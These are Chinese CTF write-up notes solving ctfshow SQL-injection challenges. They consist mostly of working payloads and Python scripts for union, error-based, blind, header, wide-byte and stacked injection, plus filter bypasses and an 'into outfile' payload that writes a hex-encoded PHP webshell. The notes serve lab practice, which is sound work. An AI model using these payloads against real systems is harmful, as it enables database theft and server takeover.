这是当时做题的时候记得笔记有些乱看不懂的可以私我
判断闭合方式:
id=1’ and 1=1–+ *正常回显*
id=1’ and 1=2–+ *异常回显*
id=1 and 1=1 *正常回显*
id=1 and 1=2 *异常回显*
id=1’) and 1=1–+ 回显正常
id=1’) and 1=2–+ 回显异常
id=1") and 1=1–+ 正常回显
id=1") and 1=2–+ 异常回显
这里我们需要对框架做一下微调,也就是将 1 改为 -1,这里修改的目的是查询一个不存在的 id,使得第一句为空,显示第二句的结果
id=1
id=1'报错
id=1'--+成功
则代表闭合成功了
web517
1'order by 1列数
1'union select1,2,3回显
爆出库名
-1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+
爆出表名
-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='ctfshow'--+
爆出字段
-1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='flag'--+字段
爆出ctfshow库中flag表中的id,和flag
id=-1' union select 1,database(),group_concat(id,flag) from ctfshow.flag--+
web518
python sqlmap.py -u "https://e14396a5-07c3-453c-9c65-2a2cf0c888e5.challenge.ctf.show/?id=0" -D ctfshow
-T flagaa --dump
数字型
把上题的'去掉就行
web519
')闭合
web520
")闭合
web521
import requests
url = "https://48f1cb18-576a-442a-a50f-7a5365da197a.challenge.ctf.show/?id=1%27and%20"
result = ''
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
# payload = f'if(ascii(substr((select/**/group_concat(table_name)from(information_schema.tables)where(table_schema="ctfshow")),{i},1))>{mid},1,0)%23'
# payload = f'if(ascii(substr((select/**/group_concat(column_name)from(information_schema.columns)where(table_schema="ctfshow")),{i},1))>{mid},1,0)%23'
# payload = f'if(ascii(substr((select flag33 from ctfshow.flagpuck),{i},1))>{mid},1,0)'
payload = f'if(ascii(substr((select/**/group_concat(flag33)from(ctfshow.flagpuck)),{i},1))>{mid},1,0)%23'
r = requests.get(url + payload)
if "You are in..........." in r.text:
head = mid + 1
else:
tail = mid
if head != 32:
result += chr(head)
else:
break
print(result)
import requests
import string
strs = string.printable
url = "http://x.x.x.x:8001/Less-8/index.php?id="
database1 = "' or database() regexp '^{}'--+"
table1 = "' or (select table_name from information_schema.tables where table_schema=database() limit 0,1) regexp '^{}'--+"
cloumn1 = "' or (select column_name from information_schema.columns where table_name=\"users\" and table_schema=database() limit 1,1) regexp '^{}'--+"
data1 = "' or (select username from users limit 0,1) regexp '^{}'--+"
payload = database1
if __name__ == "__main__":
name = ''
for i in range(1,40):
char = ''
for j in strs:
payloads = payload.format(name+j)
urls = url+payloads
r = requests.get(urls)
if "You are in" in r.text:
name += j
print(j,end='')
char = j
break
if char =='#':
break
https://9118c697-043f-42ae-b600-01d04399f21f.challenge.ctf.show/?id=' or database() regexp '[1]'--+
实测有效
自己写的脚本
import requests
import time
url="https://3517e209-ef0a-44c1-87c9-805e45b2da27.challenge.ctf.show/?id="
flagstr="ctfshow{qeryuipadgjklzxvbnm0123456789-}_"
flag=""
for i in range(0,40):
for x in flagstr:
payload="' or (select table_name from information_schema.tables where table_schema='ctfshow') regexp '^{}' --+".format(flag+x)
response=requests.get(url+payload)
time.sleep(0.3)
if response.text.find("You are in")>0:
print("++++++++++++++++ {} is right".format(x))
flag+=x
break
else:
continue
print(flag)
但是当你查询字段时
显示子查询结果多于一行
这时可以用limit进行限制
我们首先来说一说 limit n,m是怎么回事,首先它要获取到第一个参数游标n的位置,那么它就必须得扫描到n的位置,接着从此位置起往后取m条数据,不足m条的返回实际的数量。那么这就会有一个性能的问题,当游标的数值越来越大时性能就会越来越差。
所以可以一行一行的猜
payload = "\" or (select schema_name from information_schema.schemata limit 0,1) regexp '^{}' --+".format(flag + x)
payload="' or (select column_name from information_schema.columns where table_name='flagpuck' limit 1,1) regexp '^{}' --+"
payload="' or (select group_concat(flag33) from ctfshow.flagpuck ) regexp '^{}' --+".format(flag+x)
admin' and (select (schema_name)from information_schema.schemata) regexp '^c' #
web522
"闭合
其他一样
web523
试探出是'))闭合但是
?id=1')) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctfshow' into outfile "/var/www/html/1.txt"-- -
?id=1')) union select 1,2,group_concat(column_name) from information_schema.columns where table_name='flagdk' into outfile "/var/www/html/2.txt"-- -
?id=1')) union select 1,2,group_concat(flag43) from ctfshow.flagdk into outfile "/var/www/html/3.txt"-- -
web524
略
web525
?id=1' and if(1=1,sleep(3),0)--+
用and行但是or不行
import requests
if __name__ == '__main__':
url = 'http://8fe3d6cd-1e9a-4466-a20d-4588602016c7.challenge.ctf.show:8080/?id=1%27and%20'
result = ''
i = 0
while True:
i = i + 1
low = 32
high = 127
while low < high:
mid = (low + high) // 2
# payload = f'if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{i},1))>{mid},sleep(0.1),0)%23'
# payload = f'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="ctfshow"),{i},1))>{mid},sleep(0.1),0)%23'
# payload = f'if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="flagug"),{i},1))>{mid},sleep(0.1),0)%23'
payload = f'if(ascii(substr((select group_concat(flag4a23) from ctfshow.flagug),{i},1))>{mid},sleep(0.2),0)%23'
# print(payload)
r = requests.get(url=url + payload)
try:
r = requests.get(url=url + payload, timeout=0.15) # 0.15s内必须返回结果,然后执行下面的语句,如果0.15s还没有结果,则执行except的内容
high = mid
except:
low = mid + 1
if low != 32:
result += chr(low)
else:
break
print(result)
时间盲注这个二分法效果好
web527
1' union select 1,group_concat(schema_name)from information_schema.schemata#
1' union select 1,group_concat(table_name)from information_schema.tables where table_schema='ctfshow'#
1' union select 1,group_concat(column_name)from information_schema.columns where table_name='flagugsd'#
1' union select 1,group_concat(flag43s) from ctfshow.flagugsd#
web528
1") union select 1,group_concat(flag43as) from ctfshow.flagugsds#
web529
报错注入
extractvalue函数
函数原型:extractvalue(xml_document,Xpath_string)
正常语法:extractvalue(xml_document,Xpath_string);
第一个参数:xml_document是string格式,为xml文档对象的名称
第二个参数:Xpath_string是xpath格式的字符串
作用:从目标xml中返回包含所查询值的字符串
updatexml
函数原型:updatexml(xml_document,xpath_string,new_value)
正常语法:updatexml(xml_document,xpath_string,new_value)
第一个参数:xml_document是string格式,为xml文档对象的名称 第二个参数:xpath_string是xpath格式的字符串
第三个参数:new_value是string格式,替换查找到的负荷条件的数据 作用:改变文档中符合条件的节点的值
第二个参数跟extractvalue函数的第二个参数一样,因此也可以利用,且利用方式相同
报错注入在没法用union联合查询时用,但前提还是不能过滤一些关键的函数。
报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。这里主要记录一下xpath语法错误
和concat+rand()+group_by()导致主键重复
主要有三种方法,extractvalue和updatexml函数形成的xpath报错,这算两种。还有一种就是floor实现的group by主键重复,这算另外一种。
闭合错误时有语句错误回显所以可以使用报错注入
admin') and extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e))#
admin') and extractvalue(1,concat(0x7e,(select group_concat(flag4) from ctfshow.flag),0x7e))#
admin') and extractvalue(1,concat(0x7e,(select right(group_concat(flag4),20) from ctfshow.flag),0x7e))#
每一回返回的字符串数量有限说以可以借用right(,num)和left(,num)来控制查询字符串的位子
num表示第几个字符串
web530
"闭合
其他和上题一样
上面这两题也同样可以盲注
import requests
import time
url="https://5bb66a59-8c81-497d-99f9-339726c2ffa1.challenge.ctf.show/"
flag=""
i=0
while True:
low=32
high=127
i=i+1
while low<high:
mid=(low+high) // 2
data={
'uname':f'admin" and if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{i},1))>{mid},1,0)#',
'passwd':'123'
}
response=requests.post(url=url,data=data)
if response.text.find("flag.jpg")>0:
low=mid+1
else:
high=mid
if low != 32:
flag+=chr(low)
else:
break
print(flag)
'uname':f'admin" and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=\'flagb\'),{i},1))>{mid},1,0)#'
'uname':f'admin" and if(ascii(substr((select group_concat(flag4s) from ctfshow.flagb),{i},1))>{mid},1,0)#'
'uname':f"admin" and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=\'ctfshow\'),{i},1))>{mid},1,0)#"
web531
'闭合其他如上
web532
")
闭合其他如上
web533
在密码行进行报错注入
判断闭合:
无论密码如何设置都会显示成功所以只有当你成功闭合后面写上错误语句时才会报错否则不会报错
1' and updatexml(1,concat(0x7e,(select (table_name) from information_schema.tables where table_schema='ctfshow'),0x7e),1)-- -
1' and updatexml(1,concat(0x7e,(select (column_name) from information_schema.columns where table_name='flag'),0x7e),1)-- -
1' and updatexml(1,concat(0x7e,(select (flag4) from ctfshow.flag),0x7e),1)-- -
1' and updatexml(1,concat(0x7e,(select right(flag4,20) from ctfshow.flag),0x7e),1)-- -
# web534
ua头注入
首先你要能登陆成功
name:admin
posswd:admin
这样才有效果
ua头注入
用hackbar
添加ua头宪法送一次再用admin admin 登录你的ua头才是你自己定义的
或者是直接在bp上搞
User-Agent: 'or updatexml(1,concat(0x7e,(select group_concat(flag4)from ctfshow.flag),0x7e),1)or'1' ='1
也可以用python跑脚本
import requests
import base64
# payload = 'group_concat(table_name) from information_schema.tables where table_schema="ctfshow"';
# payload = 'group_concat(column_name) from information_schema.columns where table_schema="ctfshow"';
payload = 'group_concat(flag4) from ctfshow.flag';
#payload = 'right(flag4,20) from ctfshow.flag'
headers = {
# "Cookie":'uname='+base64.b64encode(("admin1"+'"'+f"and extractvalue(1,concat(0x7e,(select {payload}),0x7e))#").encode()).decode()
"User-Agent":f"'and extractvalue(1,concat(0x7e,(select {payload}),0x7e)) and '1'='1",
}
data = {
'uname':'Dumb',
'passwd':'Dumb'
}
url = 'http://cc408a83-c626-481f-9276-9aab789c38ee.challenge.ctf.show:8080/'
r = requests.post(url, headers=headers, data=data)
print(r.text)
web535
referer不能和下面隔开
上题也是如此
但是下面有个cookie注入是必须要隔开
referer注入
首先你要能登陆成功
name:admin
posswd:admin
这样才有效果
假如说闭合错误的话会有报错
这样测试闭合方式
用bp也可以
用python脚本也行
web536
他就只截取你的cookie值下面的内容都删了都行(但不能把下面的空行也删了):
这样也行:
Cookie: uname=uname=admin1'and extractvalue(1,concat(0x7e,right((select group_concat(flag4) from ctfshow.flag),20),0x7e))#
也可以不用报错注入如下:
cookie: uname=1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctfshow'#
web537
-1' union select 1,database(),user()#
用简单命令先测试闭合方式
多了个base64
加密
进行加密即可
') union select 1,group_concat(flag4),3 from ctfshow.flag #
base64编码:
JykgdW5pb24gc2VsZWN0IDEsZ3JvdXBfY29uY2F0KGZsYWc0KSwzIGZyb20gY3Rmc2hvdy5mbGFnICM=
web538
直接注入就行
也可以使用报错注入
"闭合
其他和上一题一样
web539
一:
可以看到后端对–+和#都进行了过滤,所以我们用url结束符: ;%00
二:
也可以直接union select1,2,3之后加'也可以正常执行(不知道原理)
我们可以
•1. ?id=1 返回正常
•2. ?id=1’ 返回异常,说明可能存在漏洞
•3. ?id=1’ --+ 或者?id=1’ # 均返回错误,通过源代码分析,我们得知--+ # 都被替换为了空格,这里使用 ;%00充当注释符
•4.?id=1‘ order by 3 ;%00 查多少列
•5. ?id=-1’ union select 1,2,3 ;%00 查找回显位置
•6. ?id=-1‘ union select 1,2, group_concat(schema_name) from information_schema.schemata ;%00 查库名
•7. ?id=-1‘ union select 1,2, group_concat(table_name) from information_schema.tables where table_schema = 0x7365637572697479 ;%00 查表名
•8. ?id=-1‘ union select 1,2, group_concat(column_name) from information_schema.columns where table_name = 0x7573657273 ;%00 查字段名
•9. ?id=-1‘ union select 1,2, group_concat(concat_ws(0x7e,username,password)) from security.users ;%00 查出字段中所有的值
也可以不用报错注入
但是前面的id应等与一个不纯在的数
也可以报错注入
?id=1'and updatexml(1,concat(0x7e,right((select group_concat(flag4)from ctfshow.flag),20),0x7e),1);%00
web540
当你创建一个admin'#的用户并登录后改变他的密码
回来登录发现admin的密码也被改变了
这样就可以确定SQL语句为 ' 闭合
若是未改变则不是 ' 闭合
时间盲注:
import requests
session = requests.session()
result = ''
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
# payload = f'if(ascii(substr((select/**/group_concat(table_name)from(information_schema.tables)where(table_schema="ctfshow")),{i},1))>{mid},sleep(1),0)'
# payload = f'if(ascii(substr((select/**/group_concat(column_name)from(information_schema.columns)where(table_schema="ctfshow")),{i},1))>{mid},sleep(0.7),0)'
payload = f'if(ascii(substr((select/**/group_concat(flag4)from(ctfshow.flag)),{i},1))>{mid},sleep(0.6),0)'
username = f"admin' and {payload} or '1'='1"
url1 = 'https://f2fa9134-1691-4817-ba82-5d34b1e038bf.challenge.ctf.show/login_create.php'
data = {
'username': username,
'password': '1',
're_password': '1',
'submit': 'Register'
}
r = session.post(url1, data=data)
url2 = 'https://f2fa9134-1691-4817-ba82-5d34b1e038bf.challenge.ctf.show/login.php'
data = {
'login_user': username,
'login_password': '1',
'mysubmit': 'Login',
}
r = session.post(url2, data=data)
url3 = 'https://f2fa9134-1691-4817-ba82-5d34b1e038bf.challenge.ctf.show/pass_change.php'
data = {
'current_password': '1',
'password': '2',
're_password': '2',
'submit': 'Reset'
}
try:
r = session.post(url3,data=data,timeout=0.5)
tail = mid
except:
head = mid + 1
if head != 32:
result += chr(head)
else:
break
print(result)
感觉可以进行布尔盲注
创建admin' and 1#
和admin' and 0#
前者显示密码更改成功 Password successfully updated
后者显示滚蛋
但没成功
web541
- 用“&&”符号取代and关键字,用“||”符号取代or关键字
过滤了or和and可以使用双写绕过
可以使用双写绕过
?id=1' aandnd updatexml(1,concat(0x7e,right((select group_concat(flag4s)from ctfshow.flags),20),0x7e),1)--+
也可以使用||来代替and或or
id=1' || updatexml(1,concat(0x7e,right((select group_concat(flag4s)from ctfshow.flags),20),0x7e),1)--+
web542
整数注入
其他和上题一样
?id=-1 union select 1,2,group_concat(flag4s)from ctfshow.flags--+
无列名注入
?id=-1 union select 1,group_concat(b),3 from (select 1,2 as b union select * from ctfshow.flags limit 1,1)a -- -
web543
过滤了空格
对于空格,有较多的方法:
%09 TAB 键(水平)
%0a 新建一行%0a (后面的空格不能省)
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空格
但是都不行所以:
?id=1'||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='ctfshow')),0x7e),1);%00
?id=1'||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name='flags')),0x7e),1);%00
/?id=1'||updatexml(1,concat(0x7e,(select(group_concat(flag4s))from(ctfshow.flags)),0x7e),1);%00
?id=1'||updatexml(1,concat(0x7e,right((select(group_concat(flag4s))from(ctfshow.flags)),20),0x7e),1);%00
web544
既不显示报错信息又过滤了空格
id=1成功
id=1'报错
id=1';%00还报错则不是'闭合
id=1')报错
id=1');%00成功则是')闭合
import requests
url = "https://f7188ca0-c445-4347-9919-d2af3222345f.challenge.ctf.show/"
result = ''
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
# payload = f'if(ascii(substr((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema="ctfshow")),{i},1))>{mid},1,0)'
# payload = f'if(ascii(substr((select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema="ctfshow")),{i},1))>{mid},1,0)%23'
payload = f'if(ascii(substr((select(group_concat(flag4s))from(ctfshow.flags)),{i},1))>{mid},1,0)%23'
data = {
'id': f"100')||{payload}||('0"
}
r = requests.get(url,params=data)
if "Dumb" in r.text:
head = mid + 1
else:
tail = mid
if head != 32:
result += chr(head)
else:
break
print(result)
不知道为啥这样不行
在浏览器上测试着是成功的
web545
用%0a即可绕过
id=111'%0auNIon%0asElEct%0a1,2,group_concat(table_name)from%0ainformation_schema.tables%0awhere%0a table_schema='ctfshow'%0a ;%00
也可以盲注
过滤了select
select大小写混合
import requests
url = "http://857803fc-3f61-4ec6-8084-214ad94d5be4.challenge.ctf.show:8080/"
result = ''
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
# payload = f'if(ascii(substr((SeLect(group_concat(table_name))from(information_schema.tables)where(table_schema="ctfshow")),{i},1))>{mid},1,0)'
# payload = f'if(ascii(substr((SeLect(group_concat(column_name))from(information_schema.columns)where(table_schema="ctfshow")),{i},1))>{mid},1,0)%23'
payload = f'if(ascii(substr((SeLect(group_concat(flag4s))from(ctfshow.flags)),{i},1))>{mid},1,0)%23'
data = {
'id': f"100'||{payload}||'0"
}
r = requests.get(url,params=data)
if "Dumb" in r.text:
head = mid + 1
else:
tail = mid
if head != 32:
result += chr(head)
else:
break
print(result)
web546
?id=111"%0auNIon%0asElEct%0a 1,2,group_concat(table_name)from%0ainformation_schema.tables%0awhere%0a table_schema='ctfshow'%0a ;%00
id=111"%0auNIon%0asElEct%0a 1,2,group_concat(flag4s)from%0actfshow.flags%0a ;%00
脚本
import requests
url = "http://642ba949-092a-4d73-bdc6-3914a631fdf0.challenge.ctf.show:8080/"
result = ''
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
# payload = f'if(ascii(substr((SeLect(group_concat(table_name))from(information_schema.tables)where(table_schema="ctfshow")),{i},1))>{mid},1,0)'
# payload = f'if(ascii(substr((SeLect(group_concat(column_name))from(information_schema.columns)where(table_schema="ctfshow")),{i},1))>{mid},1,0)%23'
payload = f'if(ascii(substr((SeLect(group_concat(flag4s))from(ctfshow.flags)),{i},1))>{mid},1,0)%23'
data = {
'id': f'100"||{payload}||"0'
}
r = requests.get(url,params=data)
if "Dumb" in r.text:
head = mid + 1
else:
tail = mid
if head != 32:
result += chr(head)
else:
break
print(result)
web547
过滤的有点奇怪多进行尝试
?id=111')%0aunion%0auNIon%0asElEctselect%0a 1,2,group_concat(table_name)from%0ainformation_schema.tables%0awhere%0a table_schema='ctfshow'%0a ;%00
?id=111')%0aunion%0auNIon%0asElEctselect%0a 1,2,group_concat(column_name)from%0ainformation_schema.columns%0awhere%0a table_name='flags'%0a ;%00
?id=111')%0aunion%0auNIon%0asElEctselect%0a 1,2,group_concat(flag4s)from%0actfshow.flags%0a ;%00
脚本
import requests
url = "http://ad252945-d00d-4d20-b9d3-59af493daf3e.challenge.ctf.show:8080/"
result = ''
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
# payload = f'if(ascii(substr((SeLect(group_concat(table_name))from(information_schema.tables)where(table_schema="ctfshow")),{i},1))>{mid},1,0)'
# payload = f'if(ascii(substr((SeLect(group_concat(column_name))from(information_schema.columns)where(table_schema="ctfshow")),{i},1))>{mid},1,0)%23'
payload = f'if(ascii(substr((SeLect(group_concat(flag4s))from(ctfshow.flags)),{i},1))>{mid},1,0)%23'
data = {
'id': f"100')||{payload}||('0"
}
r = requests.get(url,params=data)
if "Dumb" in r.text:
head = mid + 1
else:
tail = mid
if head != 32:
result += chr(head)
else:
break
print(result)
web548
和上题一模一样
web549
思路(代码逻辑漏洞导致的重复参数注入):
二十九关就是会对输入的参数进行校验是否为数字,但是在对参数值进行校验之前的提取时候只提取了第一个id值,如果我们有两个id参数,第一个id参数正常数字,第二个id参数进行sql注入。
根据源代码,get提交的参数,如果重名,则以最后一个为准,所以sql语句在接受相同参数时候接受的是后面的参数值。
但是验证id是否是数字却只是验证了第一个id参数
其实第29关(web549)是用jsp搭建的服务器,所以建议在电脑中安装Jspstudy来安装Jsp的环境。
构造两个id参数,index.php?id=1&id=2,Apache PHP 会解析最后一个参数,Tomcat JSP 会解析第一个参数
?id=1&id=0'union select 1,2,group_concat(flag4s)from ctfshow.flags;%00
web550
"闭合其他和上题一样
?id=1&id=0"union select 1,2,group_concat(flag4s)from ctfshow.flags;%00
web551
")闭合其他和上题一样
?id=1&id=0")union select 1,2,group_concat(flag4s)from ctfshow.flags;%00
web552?(纯宽字节注入解决不了)
1'被转化为1'
这里利用了宽字节注入
GBK 是占两个字节(也就是名叫宽字节,只要字节大于1的都是)
“ \ ”即url里面的“ %5c ”
我们在前面加上一个%df让他跟%5c组成%df%5c变成縗
不只是能和%df组合 组合后ascill大于128就可以
- GBK首字节对应0x81-0xfe(129-239),尾字节对应0x40-0xfe(64-126)(除了0x7f【128】)
比如一些 %df’ %81’ %82’ %de’ 等等
查库
?id=0%df%27union select 1,2,group_concat(schema_name) from information_schema.schemata;%00
查表时没法用where table_schema='ctfshow'里面有'而且不知为何不能用宽字节注入
所以就查出所有的表
?id=0%df%27union select 1,2,group_concat(table_name) from information_schema.tables;%00
之后就是又库名有表名
进行无列明注入
?id=0%df%27union select 1,group_concat(b),3 from (select 1,2 as b union select * from ctfshow.flags limit 1,1)a;%00
web553
和上题一样就是不能用;%00进行闭合了可以改用--+
?id=0%df%27union select 1,group_concat(b),3 from (select 1,2 as b union select * from ctfshow.flags limit 1,1)a;%00
web554
还是上题的疑惑
-1%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=%df'ctfshow%df'--+(会报错只有使用无列名注入)
uname=-1%df' union select 1,group_concat(b) from (select 1,2 as b union select * from ctfshow.flags)a--+&passwd=1&submit=Submit
因为会把%也给\了所以要在bp上操作
国光大佬还写了一个新方法:
将 utf-8 转换为 utf-16 或 utf-32,例如将 ' 转为 utf-16 为�,从而得到了一个能被utf-8解析
为汉字的字节。
我们就 可以利用这个方式进行尝试,可以使用 Linux 自带的 iconv 命令进行 UTF 的编码转换:
➜ ~ echo '|iconv -f utf-8 -t utf-16
��'
➜ ~ echo '|iconv -f utf-8 -t utf-32
��'
uname=-1�'union select 1,(select group_concat(flag4s) from ctfshow.flags)--+&passwd=1&submit=Submit
web555
数字型注入其他和上一题一样
?id=0 union select 1,2,group_concat(b)from (select 1,2 as b union select * from ctfshow.flags)a--+
web556
和上面的题重复了
?id=0%df' union select 1,2,group_concat(b)from (select 1,2 as b union select * from ctfshow.flags)a--+
web557
bp post传
uname=admin%df'union select 1,group_concat(b)from (select 1,2 as b union select * from ctfshow.flags)a--+&passwd=admin&submit=Submit
web558
堆叠注入
MySQL 的命令行中,每一条语句以 ;
结尾,这代表语句的结束,如果在注入过程中在 ;
后面添加要执行的 SQL 语句的话,这种注入方式就叫做堆叠注入 (stacked injection) 。
局限性
- 并不是每一个环境下都可以执行,可能受到 API 或者数据库引擎。
- 在 Web 中代码通常只返回一个查询结果,因此,堆叠注入第 二个语句产生错误或者结果只能被忽略
这个就是为什么我们尝试用 union select 联合查询的原因,使用堆叠注入前,我们还需要了解数据库的相关信息才可以,如表名、列名等
?id=1';CREATE TABLE flags SELECT * FROM ctfshow.flags;rename table users to a;rename table flags to users;
创建一个名为"flags"的新表,通过选择来自"ctfshow"模式的"flags"表中的所有列和行。接下来,你尝试将名为"users"的表重命名为"a",然后将名为"flags"的表重命名为"users"。
再查询id=1即可
还有一种方法
insert into users(id,username,password) values (77,(select group_concat(flag4s) from ctfshow.flags),"don77")-- +
这个SQL查询是在尝试向users
表中插入一行数据。具体来说,它试图将id
设置为77
,username
设置为从ctfshow.flags
表中的flag4s
列获取的所有值连接在一起(使用group_concat
函数),password
设置为"don77"
。
但是直接插入数据,flag会写入字段里面数据库列长度不一定满足回显长度需求所以截取试试。
?id=-1';insert into users(id,username,password) values (77,(select SUBSTRING(group_concat(flag4s),1,5) from ctfshow.flags),"don77")--+
联合注入也可以
'闭合
?id=0'union select 1,2,group_concat(flag4s)from ctfshow.flags--+
web559
堆叠注入
参考558
数字型
?id=1;CREATE TABLE flags SELECT * FROM ctfshow.flags;rename table users to a;rename table flags to users;
或:
?id=0 union select 1,2,group_concat(flag4s)from ctfshow.flags--+
web560
堆叠注入
参考558
')闭合
?id=1');CREATE TABLE flags SELECT * FROM ctfshow.flags;rename table users to a;rename table flags to users;
或:
?id=0')union select 1,2,group_concat(flag4s)from ctfshow.flags--+
web561
堆叠注入
参考558
数字型
?id=1;CREATE TABLE flags SELECT * FROM ctfshow.flags;rename table users to a;rename table flags to users;
或:
?id=0 union select 1,2,group_concat(flag4s)from ctfshow.flags--+
web562
在bp上传
测试发现应在密码行进行注入
联合查询发现没有回显点
但是有报错所以可以进行报错查询
login_user=1%27&login_password=1%27+or+updatexml(1,concat(0x7e,(SELEct+group_concat(flag4s)from+ctfshow.flags),0x7e),1)#
login_user=1%27&login_password=1%27+or+updatexml(1,concat(0x7e,right((SELEct+group_concat(flag4s)from+ctfshow.flags),20),0x7e),1)#
web563
与上一题一样在密码段进行注入
login_user=1"&login_password=1')+or+updatexml(1,concat(0x7e,(select+group_concat(schema_name)from+information_schema.schemata),0x7e),1)#&mysubmit=Login
login_user=1"&login_password=1')+or+updatexml(1,concat(0x7e,(select+group_concat(table_name)from+information_schema.tables+where+table_schema='ctfshow'),0x7e),1)#&mysubmit=Login
login_user=1"&login_password=1')+or+updatexml(1,concat(0x7e,(select+group_concat(column_name)from+information_schema.columns+where+table_name='flags'),0x7e),1)#&mysubmit=Login
login_user=1"&login_password=1')+or+updatexml(1,concat(0x7e,(select+group_concat(flag4s)from+ctfshow.flags),0x7e),1)#&mysubmit=Login
login_user=1"&login_password=1')+or+updatexml(1,concat(0x7e,right((select+group_concat(flag4s)from+ctfshow.flags),20),0x7e),1)#&mysubmit=Login
web564web565
web564数字型
web565 '闭合
用SORT传参
数字型
试探类型的时候发现有报错即可用报错注入
?sort=1 or updatexml(1,right(concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),20),1)#
?sort=1 or updatexml(1,right(concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),0x7e),20),1)#
?sort=1 or updatexml(1,right(concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flags'),0x7e),20),1)#
?sort=1 or updatexml(1,right(concat(0x7e,(select group_concat(flag4s) from ctfshow.flags),0x7e),20),1)#
?sort=1 or updatexml(1,right(concat(0x7e,right((select group_concat(flag4s) from ctfshow.flags),30),0x7e),40),1)#
也可以进行盲注
SQLI labs 靶场精简学习记录 | 国光 (sqlsec.com)
布尔盲注
数据库第 1 位为:s
PAYLOAD
?sort=rand(left(database(),1)>'r')
延时盲注
数据库第一个字母的 ascii 码为 115,即 s
PAYLOAD?sort=rand(if(ascii(substr(database(),1,1))>114,1,sleep(1)))
?sort=rand(if(ascii(substr(database(),1,1))>115,1,sleep(1)))
into outfile
将查询结果导入到文件中:
SQL
?sort=1 into outfile "/var/www/html/less46.txt"
Payload
PAYLOAD
?sort=1 into outfile "/var/www/html/less46.php" lines terminated by 0x3c3f70687020706870696e666f28293b3f3e
3c3f70687020706870696e666f28293b3f3e 是 <php phpinfo();> 的十六进制编码。
写入一句话木马然后用蚁剑连
?sort=1' into outfile "/var/www/html/less47.php" lines terminated by 0x3c3f70687020406576616c28245f504f53545b785d293b3f3e--+
但是没权限或者路径不存在
去数据库里寻找
数据库密码路径
/var/www/html/sql-connections/db-creds.inc
去首页右键链接数据库
添加
web566
数字型
没有报错
可以into outfile
也可以盲注
web577
数字型
可以报错
可以into outfile
也可以盲注
web578
'闭合
可以报错
可以into outfile
也可以盲注
web681
抓包看其返回语句输入引号会被吞掉
然后就直接利用\把'给注释掉然他失去本身的作用
例如输入 ||1#\
就会select count(*) from ctfshow_users where username = '||1#' or nickname = '||1#'
中间的||1#' or nickname = 是一个整体右边又是一个整体
web691
<?php
include('inc.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($str){
$filterlist = "/\(|\)|username|password|where|
case|when|like|regexp|into|limit|=|for|;/";
if(preg_match($filterlist,strtolower($str))){
die("illegal input!");
}
return $str;
}
$username = isset($_POST['username'])?
filter($_POST['username']):die("please input username!");
$password = isset($_POST['password'])?
filter($_POST['password']):die("please input password!");
$sql = "select * from admin where username =
'$username' and password = '$password' ";
$res = $conn -> query($sql);
if($res->num_rows>0){
$row = $res -> fetch_assoc();
if($row['id']){
echo $row['username'];
}
}else{
echo "The content in the password column is the flag!";
}
?>
分析可得我们要想办法得到密码行中的内容
联合注入配合order by
在 SQL 中,ORDER BY
是用于对查询结果进行排序的子句。它通常用于按照指定的列或表达式对结果集进行排序,可以按升序(默认)或降序排列。order by +排序依据
于是你就可以不断地改变你联合查询的值
来造成第一列的排序改变也就是造成了不同的返回结果
根据不同的返回结果去一个一个的判定password每一位的值即flag的值
脚本如下
import requests
s = ".0123456789:abcdefghijklmnopqrstuvwxyz{|}~"
url = "https://599e3c94-db56-4cf9-b136-8585e5e4638c.challenge.ctf.show/"
k = ''
for i in range(1, 50):
print(i)
for j in s:
data = {
'username': "' or 1 union select 1,2,'{0}' order by 3#".format(k + j),
'password': '1111'
}
r = requests.post(url, data=data)
print(data['username'])
if ("</code>admin" in r.text):
k = k + chr(ord(j) - 1)
print(k)
break
1-9 ↩︎